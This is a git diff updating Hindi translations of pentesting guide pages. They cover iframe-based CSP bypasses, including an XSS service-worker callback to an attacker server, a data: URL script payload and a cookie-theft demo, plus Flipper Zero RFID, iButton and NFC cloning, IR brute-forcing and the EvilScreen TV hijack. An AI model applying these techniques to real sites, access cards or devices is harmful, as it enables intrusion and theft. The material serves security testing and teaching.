में एक **GET** अनुरोध **हमलावरों** के सर्वर पर भेजा जाएगा **सूचित** करने के लिए कि सेवा कार्यकर्ता की **पंजीकरण** सफल थी या नहीं: +और यह वह कोड है जो **कार्यकर्ता को पंजीकृत** करेगा (यह कोड जिसे आप **XSS** का दुरुपयोग करके निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक **GET** अनुरोध **हमलावरों** के सर्वर पर भेजा जाएगा **सूचित** करने के लिए कि सेवा कार्यकर्ता की **पंजीकरण** सफल थी या नहीं: ```javascript ``` -यदि आप पिछले HTML को HTTP सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल iframes if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में secret तक पहुँच सकते हैं।**\ +यदि आप पिछले HTML को HTTP सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में रहस्य तक पहुँच सकते हैं।**\ ध्यान दें कि if4 को `null` उत्पत्ति माना जाता है। ### CSP के साथ Iframes > [!TIP] -> कृपया ध्यान दें कि निम्नलिखित बायपास में iframed पृष्ठ के लिए प्रतिक्रिया में कोई CSP हेडर नहीं है जो JS निष्पादन को रोकता है। +> कृपया ध्यान दें कि निम्नलिखित बायपास में iframe पृष्ठ के लिए प्रतिक्रिया में कोई CSP हेडर नहीं है जो JS निष्पादन को रोकता है। `script-src` का `self` मान `data:` प्रोटोकॉल या `srcdoc` विशेषता का उपयोग करके JS कोड के निष्पादन की अनुमति नहीं देगा।\ हालांकि, CSP का `none` मान भी उन iframes के निष्पादन की अनुमति देगा जो `src` विशेषता में एक URL (पूर्ण या केवल पथ) डालते हैं।\ @@ -77,13 +77,13 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert ``` ध्यान दें कि **पिछला CSP केवल इनलाइन स्क्रिप्ट के निष्पादन की अनुमति देता है**।\ -हालांकि, **केवल `if1` और `if2` स्क्रिप्ट्स निष्पादित होने जा रही हैं लेकिन केवल `if1` ही पैरेंट सीक्रेट तक पहुँच सकेगा**। +हालांकि, **केवल `if1` और `if2` स्क्रिप्ट्स निष्पादित होने जा रही हैं लेकिन केवल `if1` ही पैरेंट सीक्रेट तक पहुंच सकेगा**। ![](<../../images/image (372).png>) -इसलिए, यह संभव है कि **यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं, तो CSP को बायपास किया जा सकता है, भले ही `script-src 'none'` हो**। यह **संभावित रूप से एक ही साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है**। +इसलिए, यह संभव है कि **यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं, तो CSP को बायपास किया जा सकता है, भले ही `script-src 'none'` हो**। यह **संभावित रूप से एक समान-साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है**। -आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहाँ एक कुकी चुराई जाती है, भले ही `script-src 'none'` हो। बस एप्लिकेशन चलाएँ और इसे अपने ब्राउज़र के साथ एक्सेस करें: +आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहां एक कुकी चुराई जाती है, भले ही `script-src 'none'` हो। बस एप्लिकेशन चलाएं और इसे अपने ब्राउज़र के साथ एक्सेस करें: ```python import flask from flask import Flask @@ -105,9 +105,9 @@ app.run() ``` #### New (2023-2025) CSP bypass techniques with iframes -शोध समुदाय लगातार प्रतिबंधात्मक नीतियों को पराजित करने के लिए iframes का दुरुपयोग करने के रचनात्मक तरीकों की खोज कर रहा है। नीचे आप पिछले कुछ वर्षों में प्रकाशित सबसे उल्लेखनीय तकनीकों को पा सकते हैं: +शोध समुदाय लगातार iframe का दुरुपयोग करने के रचनात्मक तरीकों की खोज कर रहा है ताकि प्रतिबंधात्मक नीतियों को पराजित किया जा सके। नीचे आप पिछले कुछ वर्षों में प्रकाशित सबसे उल्लेखनीय तकनीकों को पा सकते हैं: -* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – जब एक एप्लिकेशन HTML को दर्शाता है लेकिन एक मजबूत CSP स्क्रिप्ट निष्पादन को रोकता है, तो आप *dangling* `
- **HID** -इसी तरह इस HID कार्ड में केवल 3 बाइट में से 2 को कार्ड पर मुद्रित पाया जा सकता है। +इसी तरह इस HID कार्ड में केवल 3 बाइट में से 2 बाइट कार्ड पर प्रिंट की गई मिलती हैं।
### Emulate/Write -एक कार्ड को **कॉपी करने** या **ID को मैन्युअल रूप से** **प्रविष्ट करने** के बाद इसे Flipper Zero के साथ **अनुकरण** करना या इसे एक असली कार्ड में **लिखना** संभव है। +एक कार्ड को **कॉपी करने** या **ID को मैन्युअल रूप से** **प्रविष्ट करने** के बाद, इसे Flipper Zero के साथ **अनुकरण** करना या एक असली कार्ड में **लिखना** संभव है। ## References - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md index 06cb6203f..a49b0666d 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -6,13 +6,14 @@ iButton क्या है इसके बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ../ibutton.md {{#endref}} ## Design -निम्नलिखित छवि का **नीला** भाग वह है जहाँ आपको **वास्तविक iButton** को **रखना** होगा ताकि Flipper इसे **पढ़ सके।** **हरा** भाग वह है जहाँ आपको **Flipper zero के साथ रीडर को छूना** है ताकि **iButton को सही तरीके से अनुकरण** किया जा सके। +निम्नलिखित छवि का **नीला** भाग वह है जहाँ आपको **वास्तविक iButton** को **रखना** होगा ताकि Flipper इसे **पढ़ सके।** **हरा** भाग है जहाँ आपको **Flipper zero के साथ रीडर को छूना** होगा ताकि **iButton को सही तरीके से अनुकरण** किया जा सके।
@@ -20,7 +21,7 @@ iButton क्या है इसके बारे में अधिक ज ### Read -Read Mode में Flipper iButton कुंजी के छूने का इंतजार कर रहा है और तीन प्रकार की कुंजियों: **Dallas, Cyfral, और Metakom** में से किसी को भी समझने में सक्षम है। Flipper **कुंजी के प्रकार का पता खुद लगाएगा।** कुंजी प्रोटोकॉल का नाम ID संख्या के ऊपर स्क्रीन पर प्रदर्शित होगा। +रीड मोड में Flipper iButton कुंजी के छूने का इंतजार कर रहा है और तीन प्रकार की कुंजियों: **Dallas, Cyfral, और Metakom** में से किसी को भी समझने में सक्षम है। Flipper **कुंजी के प्रकार का पता लगाएगा।** कुंजी प्रोटोकॉल का नाम ID संख्या के ऊपर स्क्रीन पर प्रदर्शित होगा। ### Add manually @@ -28,9 +29,9 @@ Read Mode में Flipper iButton कुंजी के छूने का ### **Emulate** -यह **अनुकरण** करना संभव है सहेजे गए iButtons (पढ़े गए या हाथ से जोड़े गए)। +यह **अनुकरण करना** संभव है सहेजे गए iButtons (पढ़े गए या हाथ से जोड़े गए)। -> [!NOTE] +> [!TIP] > यदि आप Flipper Zero के अपेक्षित संपर्कों को रीडर को छूने में असमर्थ हैं तो आप **बाहरी GPIO का उपयोग कर सकते हैं:**
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md index f24823cfc..d01f4f85b 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -4,7 +4,8 @@ ## Intro
-Infrared कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए देखें: +इन्फ्रारेड कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ../infrared.md @@ -16,21 +17,21 @@ Flipper एक डिजिटल IR सिग्नल रिसीवर TSOP Flipper का इन्फ्रारेड **रिसीवर काफी संवेदनशील है**। आप **सिग्नल को पकड़ सकते हैं** जबकि आप **रिमोट और टीवी के बीच कहीं** हैं। रिमोट को सीधे Flipper के IR पोर्ट की ओर इंगित करना आवश्यक नहीं है। यह तब सहायक होता है जब कोई टीवी के पास खड़े होकर चैनल बदल रहा हो, और आप और Flipper दोनों कुछ दूरी पर हों। -चूंकि **इन्फ्रारेड** सिग्नल का **डिकोडिंग** **सॉफ़्टवेयर** पक्ष पर होता है, Flipper Zero संभावित रूप से **किसी भी IR रिमोट कोड का रिसेप्शन और ट्रांसमिशन** का समर्थन करता है। **अज्ञात** प्रोटोकॉल के मामले में जिन्हें पहचाना नहीं जा सका - यह **कच्चे सिग्नल को रिकॉर्ड और प्ले बैक** करता है जैसे कि इसे प्राप्त किया गया था। +चूंकि **इन्फ्रारेड** सिग्नल का **डिकोडिंग** **सॉफ़्टवेयर** पक्ष पर होता है, Flipper Zero संभावित रूप से **किसी भी IR रिमोट कोड के रिसेप्शन और ट्रांसमिशन का समर्थन करता है**। **अज्ञात** प्रोटोकॉल के मामले में जिन्हें पहचाना नहीं जा सका - यह **कच्चे सिग्नल को रिकॉर्ड और प्ले बैक** करता है जैसे कि इसे प्राप्त किया गया था। ## Actions ### Universal Remotes -Flipper Zero को **किसी भी टीवी, एयर कंडीशनर, या मीडिया सेंटर को नियंत्रित करने के लिए एक **यूनिवर्सल रिमोट के रूप में उपयोग किया जा सकता है**। इस मोड में, Flipper **सभी समर्थित निर्माताओं के सभी **ज्ञात कोडों** को **SD कार्ड से शब्दकोश के अनुसार** **ब्रूटफोर्स** करता है। आपको किसी विशेष रिमोट को बंद करने के लिए नहीं चुनना है। +Flipper Zero को **किसी भी टीवी, एयर कंडीशनर, या मीडिया सेंटर को नियंत्रित करने के लिए एक **यूनिवर्सल रिमोट के रूप में उपयोग किया जा सकता है**। इस मोड में, Flipper **सभी समर्थित निर्माताओं के सभी **ज्ञात कोडों** को **SD कार्ड से शब्दकोश के अनुसार** ब्रूटफोर्स करता है। आपको किसी विशेष रिमोट को बंद करने के लिए नहीं चुनना है। -यूनिवर्सल रिमोट मोड में पावर बटन दबाना पर्याप्त है, और Flipper **सभी टीवी के "पावर ऑफ"** कमांड को **क्रमबद्ध तरीके से भेजेगा** जिन्हें वह जानता है: Sony, Samsung, Panasonic... और इसी तरह। जब टीवी अपना सिग्नल प्राप्त करता है, तो यह प्रतिक्रिया देगा और बंद हो जाएगा। +यूनिवर्सल रिमोट मोड में पावर बटन दबाना पर्याप्त है, और Flipper **सभी टीवी के "पावर ऑफ"** कमांड को क्रमबद्ध रूप से भेजेगा जो इसे पता है: Sony, Samsung, Panasonic... और इसी तरह। जब टीवी अपना सिग्नल प्राप्त करता है, तो यह प्रतिक्रिया देगा और बंद हो जाएगा। इस तरह का ब्रूट-फोर्स समय लेता है। जितना बड़ा शब्दकोश होगा, इसे पूरा करने में उतना ही अधिक समय लगेगा। यह पता लगाना असंभव है कि टीवी ने किस सिग्नल को ठीक से पहचाना क्योंकि टीवी से कोई फीडबैक नहीं होता। ### Learn New Remote -Flipper Zero के साथ **इन्फ्रारेड सिग्नल को कैप्चर करना** संभव है। यदि यह **डेटाबेस में सिग्नल खोजता है** तो Flipper स्वचालित रूप से **जान जाएगा कि यह कौन सा डिवाइस है** और आपको इसके साथ इंटरैक्ट करने देगा।\ +Flipper Zero के साथ **इन्फ्रारेड सिग्नल को कैप्चर करना** संभव है। यदि यह **डेटाबेस में सिग्नल पाता है** तो Flipper स्वचालित रूप से **जान जाएगा कि यह कौन सा डिवाइस है** और आपको इसके साथ इंटरैक्ट करने देगा।\ यदि नहीं, तो Flipper **सिग्नल को स्टोर** कर सकता है और आपको इसे **प्ले बैक** करने की अनुमति देगा। ## References diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index 631669029..8df24da90 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -6,6 +6,7 @@ RFID और NFC के बारे में जानकारी के लिए निम्नलिखित पृष्ठ देखें: + {{#ref}} ../pentesting-rfid.md {{#endref}} @@ -18,7 +19,7 @@ RFID और NFC के बारे में जानकारी के ल NFC कार्डों के नए प्रकारों को समर्थित कार्डों की सूची में जोड़ा जाएगा। Flipper Zero निम्नलिखित **NFC कार्ड प्रकार A** (ISO 14443A) का समर्थन करता है: - **बैंक कार्ड (EMV)** — केवल UID, SAK, और ATQA पढ़ें, बिना सहेजे। -- **अज्ञात कार्ड** — (UID, SAK, ATQA) पढ़ें और एक UID का अनुकरण करें। +- **अज्ञात कार्ड** — UID पढ़ें (UID, SAK, ATQA) और एक UID का अनुकरण करें। **NFC कार्ड प्रकार B, प्रकार F, और प्रकार V** के लिए, Flipper Zero UID को बिना सहेजे पढ़ने में सक्षम है। @@ -36,13 +37,13 @@ Flipper Zero केवल UID, SAK, ATQA, और बैंक कार्डो जब Flipper Zero **NFC कार्ड के प्रकार का निर्धारण करने में असमर्थ होता है**, तब केवल **UID, SAK, और ATQA** को **पढ़ा और सहेजा** जा सकता है। -अज्ञात कार्ड पढ़ने का स्क्रीनअज्ञात NFC कार्डों के लिए, Flipper Zero केवल एक UID का अनुकरण कर सकता है। +अज्ञात कार्ड पढ़ने का स्क्रीनअज्ञात NFC कार्डों के लिए, Flipper Zero केवल UID का अनुकरण कर सकता है।
### NFC cards types B, F, and V -**NFC कार्ड प्रकार B, F, और V** के लिए, Flipper Zero केवल **UID को पढ़ और प्रदर्शित** कर सकता है बिना इसे सहेजे। +**NFC कार्ड प्रकार B, F, और V** के लिए, Flipper Zero केवल **UID को पढ़ने और प्रदर्शित करने** में सक्षम है, बिना इसे सहेजे।
@@ -52,13 +53,13 @@ NFC के बारे में एक परिचय के लिए [**इ ### Read -Flipper Zero **NFC कार्डों को पढ़ सकता है**, हालाँकि, यह **ISO 14443 पर आधारित सभी प्रोटोकॉल को नहीं समझता**। हालाँकि, चूंकि **UID एक निम्न-स्तरीय विशेषता है**, आप एक ऐसी स्थिति में हो सकते हैं जब **UID पहले से पढ़ा गया हो, लेकिन उच्च-स्तरीय डेटा ट्रांसफर प्रोटोकॉल अभी भी अज्ञात हो**। आप Flipper का उपयोग करके UID को पढ़, अनुकरण और मैन्युअल रूप से इनपुट कर सकते हैं जो UID का उपयोग करने वाले प्राथमिक रीडर्स के लिए अधिकृत है। +Flipper Zero **NFC कार्डों को पढ़ सकता है**, हालाँकि, यह **ISO 14443 पर आधारित सभी प्रोटोकॉल को नहीं समझता**। हालाँकि, चूंकि **UID एक निम्न-स्तरीय विशेषता है**, आप एक ऐसी स्थिति में हो सकते हैं जब **UID पहले से पढ़ा गया हो, लेकिन उच्च-स्तरीय डेटा ट्रांसफर प्रोटोकॉल अभी भी अज्ञात हो**। आप Flipper का उपयोग करके UID को पढ़ सकते हैं, अनुकरण कर सकते हैं और मैन्युअल रूप से इनपुट कर सकते हैं उन प्राथमिक रीडरों के लिए जो प्राधिकरण के लिए UID का उपयोग करते हैं। #### Reading the UID VS Reading the Data Inside
-Flipper में, 13.56 MHz टैग को पढ़ने को दो भागों में विभाजित किया जा सकता है: +Flipper में, 13.56 MHz टैग पढ़ने को दो भागों में विभाजित किया जा सकता है: - **निम्न-स्तरीय पढ़ाई** — केवल UID, SAK, और ATQA पढ़ता है। Flipper इस डेटा के आधार पर उच्च-स्तरीय प्रोटोकॉल का अनुमान लगाने की कोशिश करता है जो कार्ड से पढ़ा गया है। आप इसके साथ 100% निश्चित नहीं हो सकते, क्योंकि यह कुछ कारकों के आधार पर केवल एक अनुमान है। - **उच्च-स्तरीय पढ़ाई** — एक विशिष्ट उच्च-स्तरीय प्रोटोकॉल का उपयोग करके कार्ड की मेमोरी से डेटा पढ़ता है। यह Mifare Ultralight पर डेटा पढ़ना, Mifare Classic से सेक्टर पढ़ना, या PayPass/Apple Pay से कार्ड के गुण पढ़ना होगा। @@ -69,8 +70,8 @@ Flipper में, 13.56 MHz टैग को पढ़ने को दो भ #### EMV Bank Cards (PayPass, payWave, Apple Pay, Google Pay) -UID को केवल पढ़ने के अलावा, आप बैंक कार्ड से और भी बहुत सा डेटा निकाल सकते हैं। यह **पूर्ण कार्ड संख्या** (कार्ड के सामने के 16 अंक), **वैधता तिथि**, और कुछ मामलों में यहां तक कि **स्वामी का नाम** और **हाल के लेनदेन** की सूची प्राप्त करना संभव है।\ -हालांकि, आप **इस तरह से CVV नहीं पढ़ सकते** (कार्ड के पीछे के 3 अंक)। इसके अलावा **बैंक कार्डों को पुनःप्रयोजन हमलों से सुरक्षित किया गया है**, इसलिए Flipper के साथ इसे कॉपी करना और फिर इसे किसी चीज़ के लिए भुगतान करने के लिए अनुकरण करने की कोशिश करना काम नहीं करेगा। +UID को केवल पढ़ने के अलावा, आप बैंक कार्ड से और भी बहुत सा डेटा निकाल सकते हैं। यह संभव है कि **पूर्ण कार्ड संख्या प्राप्त करें** (कार्ड के सामने के 16 अंक), **वैधता तिथि**, और कुछ मामलों में यहां तक कि **स्वामी का नाम** और **हाल के लेनदेन** की सूची भी प्राप्त करें।\ +हालांकि, आप **इस तरह से CVV नहीं पढ़ सकते** (कार्ड के पीछे के 3 अंक)। इसके अलावा **बैंक कार्डों को पुनरावृत्ति हमलों से सुरक्षित किया गया है**, इसलिए Flipper के साथ इसे कॉपी करना और फिर इसे किसी चीज़ के लिए भुगतान करने के लिए अनुकरण करने की कोशिश करना काम नहीं करेगा। ## References diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md index c54088e7f..2175f42ed 100644 --- a/src/todo/radio-hacking/ibutton.md +++ b/src/todo/radio-hacking/ibutton.md @@ -4,17 +4,17 @@ ## Intro -iButton एक सामान्य नाम है जो एक इलेक्ट्रॉनिक पहचान कुंजी के लिए है जो एक **सिक्का के आकार के धातु के कंटेनर** में पैक की गई है। इसे **Dallas Touch** Memory या संपर्क मेमोरी भी कहा जाता है। हालांकि इसे अक्सर “चुंबकीय” कुंजी के रूप में गलत तरीके से संदर्भित किया जाता है, इसमें **कुछ भी चुंबकीय** नहीं है। वास्तव में, इसके अंदर एक पूर्ण विकसित **माइक्रोचिप** है जो एक डिजिटल प्रोटोकॉल पर काम करती है। +iButton एक सामान्य नाम है जो एक इलेक्ट्रॉनिक पहचान कुंजी के लिए है जो एक **सिक्के के आकार के धातु के कंटेनर** में पैक की गई है। इसे **Dallas Touch** Memory या संपर्क मेमोरी भी कहा जाता है। हालांकि इसे अक्सर “चुंबकीय” कुंजी के रूप में गलत तरीके से संदर्भित किया जाता है, इसमें **कुछ भी चुंबकीय** नहीं है। वास्तव में, इसके अंदर एक पूर्ण विकसित **माइक्रोचिप** है जो एक डिजिटल प्रोटोकॉल पर काम करती है।
### What is iButton? -आमतौर पर, iButton कुंजी और रीडर के भौतिक रूप को संदर्भित करता है - एक गोल सिक्का जिसमें दो संपर्क होते हैं। इसके चारों ओर के फ्रेम के लिए, सबसे सामान्य प्लास्टिक धारक से लेकर छिद्र, अंगूठियों, लटकन आदि के कई रूप हैं। +आमतौर पर, iButton कुंजी और रीडर के भौतिक रूप को संदर्भित करता है - एक गोल सिक्का जिसमें दो संपर्क होते हैं। इसके चारों ओर के फ्रेम के लिए, सबसे सामान्य प्लास्टिक धारक से लेकर छिद्र, अंगूठियों, लटकन आदि के कई रूपांतर हैं।
-जब कुंजी रीडर तक पहुँचती है, तो **संपर्क आपस में छूते हैं** और कुंजी **अपना ID** भेजने के लिए सक्रिय होती है। कभी-कभी कुंजी तुरंत **नहीं पढ़ी जाती** क्योंकि **इंटरकॉम का संपर्क PSD** जितना होना चाहिए उससे बड़ा होता है। इसलिए कुंजी और रीडर के बाहरी आकृतियाँ छू नहीं पातीं। यदि ऐसा है, तो आपको रीडर की दीवारों में से एक पर कुंजी को दबाना होगा। +जब कुंजी रीडर तक पहुँचती है, तो **संपर्क आपस में छूते हैं** और कुंजी **अपना ID** **प्रसारित** करने के लिए सक्रिय होती है। कभी-कभी कुंजी तुरंत **नहीं पढ़ी** जाती क्योंकि **इंटरकॉम का संपर्क PSD** जितना होना चाहिए उससे बड़ा होता है। इसलिए कुंजी और रीडर के बाहरी आकृतियाँ छू नहीं पातीं। यदि ऐसा है, तो आपको रीडर की दीवारों में से एक पर कुंजी को दबाना होगा।
@@ -22,7 +22,7 @@ iButton एक सामान्य नाम है जो एक इलेक Dallas कुंजियाँ 1-wire प्रोटोकॉल का उपयोग करके डेटा का आदान-प्रदान करती हैं। डेटा ट्रांसफर के लिए केवल एक संपर्क (!!) दोनों दिशाओं में, मास्टर से दास और इसके विपरीत। 1-wire प्रोटोकॉल मास्टर-दास मॉडल के अनुसार काम करता है। इस टोपोलॉजी में, मास्टर हमेशा संचार शुरू करता है और दास इसके निर्देशों का पालन करता है। -जब कुंजी (दास) इंटरकॉम (मास्टर) से संपर्क करती है, तो कुंजी के अंदर की चिप चालू हो जाती है, जो इंटरकॉम द्वारा संचालित होती है, और कुंजी प्रारंभ की जाती है। इसके बाद इंटरकॉम कुंजी ID का अनुरोध करता है। अगला, हम इस प्रक्रिया को अधिक विस्तार से देखेंगे। +जब कुंजी (दास) इंटरकॉम (मास्टर) से संपर्क करती है, तो कुंजी के अंदर की चिप चालू हो जाती है, इंटरकॉम द्वारा संचालित होती है, और कुंजी प्रारंभ की जाती है। इसके बाद इंटरकॉम कुंजी ID का अनुरोध करता है। अगला, हम इस प्रक्रिया को अधिक विस्तार से देखेंगे। Flipper मास्टर और दास दोनों मोड में काम कर सकता है। कुंजी पढ़ने के मोड में, Flipper एक रीडर के रूप में कार्य करता है, यानी यह मास्टर के रूप में काम करता है। और कुंजी अनुकरण मोड में, फ्लिपर एक कुंजी होने का नाटक करता है, यह दास मोड में है। @@ -34,6 +34,7 @@ Flipper मास्टर और दास दोनों मोड में iButtons पर Flipper Zero के साथ हमला किया जा सकता है: + {{#ref}} flipper-zero/fz-ibutton.md {{#endref}} diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md index bfbba7505..f65890a46 100644 --- a/src/todo/radio-hacking/infrared.md +++ b/src/todo/radio-hacking/infrared.md @@ -4,9 +4,9 @@ ## How the Infrared Works -**इन्फ्रारेड प्रकाश मनुष्यों के लिए अदृश्य है**। IR तरंग दैर्ध्य **0.7 से 1000 माइक्रोन** के बीच है। घरेलू रिमोट डेटा ट्रांसमिशन के लिए IR सिग्नल का उपयोग करते हैं और 0.75..1.4 माइक्रोन के तरंग दैर्ध्य रेंज में काम करते हैं। रिमोट में एक माइक्रोकंट्रोलर एक इन्फ्रारेड LED को एक विशिष्ट आवृत्ति के साथ चमकाता है, डिजिटल सिग्नल को IR सिग्नल में बदलता है। +**इन्फ्रारेड प्रकाश मानवों के लिए अदृश्य है**। IR तरंग दैर्ध्य **0.7 से 1000 माइक्रोन** के बीच है। घरेलू रिमोट डेटा ट्रांसमिशन के लिए IR सिग्नल का उपयोग करते हैं और 0.75..1.4 माइक्रोन के तरंग दैर्ध्य रेंज में काम करते हैं। रिमोट में एक माइक्रोकंट्रोलर एक इन्फ्रारेड LED को एक विशिष्ट आवृत्ति के साथ चमकाता है, डिजिटल सिग्नल को IR सिग्नल में बदलता है। -IR सिग्नल प्राप्त करने के लिए एक **फोटो रिसीवर** का उपयोग किया जाता है। यह **IR प्रकाश को वोल्टेज पल्स में परिवर्तित करता है**, जो पहले से ही **डिजिटल सिग्नल** होते हैं। आमतौर पर, रिसीवर के अंदर एक **डार्क लाइट फ़िल्टर** होता है, जो **केवल इच्छित तरंग दैर्ध्य को पारित करता है** और शोर को काटता है। +IR सिग्नल प्राप्त करने के लिए एक **फोटो रिसीवर** का उपयोग किया जाता है। यह **IR प्रकाश को वोल्टेज पल्स में परिवर्तित करता है**, जो पहले से ही **डिजिटल सिग्नल** होते हैं। आमतौर पर, रिसीवर के अंदर एक **डार्क लाइट फ़िल्टर होता है**, जो **केवल इच्छित तरंग दैर्ध्य को पारित करता है** और शोर को काटता है। ### Variety of IR Protocols @@ -45,7 +45,7 @@ IR प्रोटोकॉल 3 कारकों में भिन्न ### Exploring an IR signal -रिमोट IR सिग्नल को देखने का सबसे विश्वसनीय तरीका एक ऑस्सिलोस्कोप का उपयोग करना है। यह प्राप्त सिग्नल को डिमॉड्यूलेट या इनवर्ट नहीं करता, यह बस "जैसा है" प्रदर्शित होता है। यह परीक्षण और डिबगिंग के लिए उपयोगी है। मैं NEC IR प्रोटोकॉल के उदाहरण पर अपेक्षित सिग्नल दिखाऊंगा। +रिमोट IR सिग्नल को देखने का सबसे विश्वसनीय तरीका एक ऑस्सिलोस्कोप का उपयोग करना है। यह प्राप्त सिग्नल को डिमॉड्यूलेट या इनवर्ट नहीं करता, यह बस "जैसा है" प्रदर्शित करता है। यह परीक्षण और डिबगिंग के लिए उपयोगी है। मैं NEC IR प्रोटोकॉल के उदाहरण पर अपेक्षित सिग्नल दिखाऊंगा।
@@ -55,7 +55,7 @@ IR प्रोटोकॉल 3 कारकों में भिन्न **NEC IR प्रोटोकॉल** में एक छोटा कमांड और एक पुनरावृत्ति कोड होता है, जो बटन दबाए जाने पर भेजा जाता है। कमांड और पुनरावृत्ति कोड दोनों की शुरुआत में समान प्रीएंबल होती है। -NEC **कमांड**, प्रीएंबल के अलावा, एक पते के बाइट और एक कमांड-नंबर बाइट से मिलकर बनता है, जिसके द्वारा उपकरण समझता है कि क्या करना है। पते और कमांड-नंबर बाइट्स को विपरीत मानों के साथ डुप्लिकेट किया जाता है, ताकि ट्रांसमिशन की अखंडता की जांच की जा सके। कमांड के अंत में एक अतिरिक्त स्टॉप बिट होता है। +NEC **कमांड**, प्रीएंबल के अलावा, एक पता बाइट और एक कमांड-नंबर बाइट से मिलकर बनता है, जिसके द्वारा उपकरण समझता है कि क्या करना है। पता और कमांड-नंबर बाइट्स को विपरीत मानों के साथ डुप्लिकेट किया जाता है, ताकि ट्रांसमिशन की अखंडता की जांच की जा सके। कमांड के अंत में एक अतिरिक्त स्टॉप बिट होता है। **पुनरावृत्ति कोड** में प्रीएंबल के बाद "1" होता है, जो एक स्टॉप बिट है। @@ -63,8 +63,8 @@ NEC **कमांड**, प्रीएंबल के अलावा, एक ### Air Conditioners -अन्य रिमोट के विपरीत, **एयर कंडीशनर केवल दबाए गए बटन का कोड नहीं भेजते**। वे बटन दबाए जाने पर **सभी जानकारी** भी भेजते हैं ताकि यह सुनिश्चित हो सके कि **एयर कंडीशनिंग मशीन और रिमोट समन्वयित हैं**।\ -यह सुनिश्चित करेगा कि 20ºC पर सेट मशीन को एक रिमोट से 21ºC पर नहीं बढ़ाया जाएगा, और फिर जब एक अन्य रिमोट, जो अभी भी 20ºC पर है, का उपयोग किया जाएगा, तो यह तापमान को और अधिक बढ़ाएगा, यह इसे 21ºC (और 22ºC नहीं सोचते हुए) "बढ़ाएगा"। +अन्य रिमोट के विपरीत, **एयर कंडीशनर केवल दबाए गए बटन का कोड नहीं भेजते**। वे यह सुनिश्चित करने के लिए **सभी जानकारी भेजते हैं** कि **एयर कंडीशनिंग मशीन और रिमोट समन्वयित हैं**।\ +इससे यह सुनिश्चित होता है कि 20ºC पर सेट की गई मशीन को एक रिमोट से 21ºC पर नहीं बढ़ाया जाएगा, और फिर जब दूसरे रिमोट का उपयोग किया जाएगा, जो अभी भी 20ºC पर है, तो तापमान को और बढ़ाने पर यह "21ºC" (और 22ºC नहीं) पर "बढ़ाएगा"। --- @@ -78,13 +78,13 @@ flipper-zero/fz-infrared.md ### Smart-TV / Set-top Box Takeover (EvilScreen) -हालिया अकादमिक कार्य (EvilScreen, 2022) ने प्रदर्शित किया कि **मल्टी-चैनल रिमोट जो इन्फ्रारेड को ब्लूटूथ या वाई-फाई के साथ जोड़ते हैं, का उपयोग आधुनिक स्मार्ट-टीवी को पूरी तरह से हाईजैक करने के लिए किया जा सकता है**। यह हमला उच्च-privilege IR सेवा कोड को प्रमाणित ब्लूटूथ पैकेटों के साथ जोड़ता है, चैनल-आइसोलेशन को बायपास करता है और मनमाने ऐप लॉन्च, माइक्रोफोन सक्रियण, या भौतिक पहुंच के बिना फैक्ट्री-रीसेट की अनुमति देता है। विभिन्न विक्रेताओं के आठ मुख्यधारा के टीवी — जिसमें एक सैमसंग मॉडल ISO/IEC 27001 अनुपालन का दावा करता है — को कमजोर पाया गया। शमन के लिए विक्रेता फर्मवेयर फिक्स या अप्रयुक्त IR रिसीवर्स को पूरी तरह से बंद करने की आवश्यकता होती है। +हालिया अकादमिक कार्य (EvilScreen, 2022) ने प्रदर्शित किया कि **मल्टी-चैनल रिमोट जो इन्फ्रारेड को ब्लूटूथ या वाई-फाई के साथ जोड़ते हैं, का उपयोग आधुनिक स्मार्ट-टीवी को पूरी तरह से हाईजैक करने के लिए किया जा सकता है**। यह हमला उच्च-प्राधिकार IR सेवा कोड को प्रमाणित ब्लूटूथ पैकेटों के साथ जोड़ता है, चैनल-आइसोलेशन को बायपास करता है और मनमाने ऐप लॉन्च, माइक्रोफोन सक्रियण, या भौतिक पहुंच के बिना फैक्ट्री-रीसेट की अनुमति देता है। विभिन्न विक्रेताओं के आठ मुख्यधारा के टीवी — 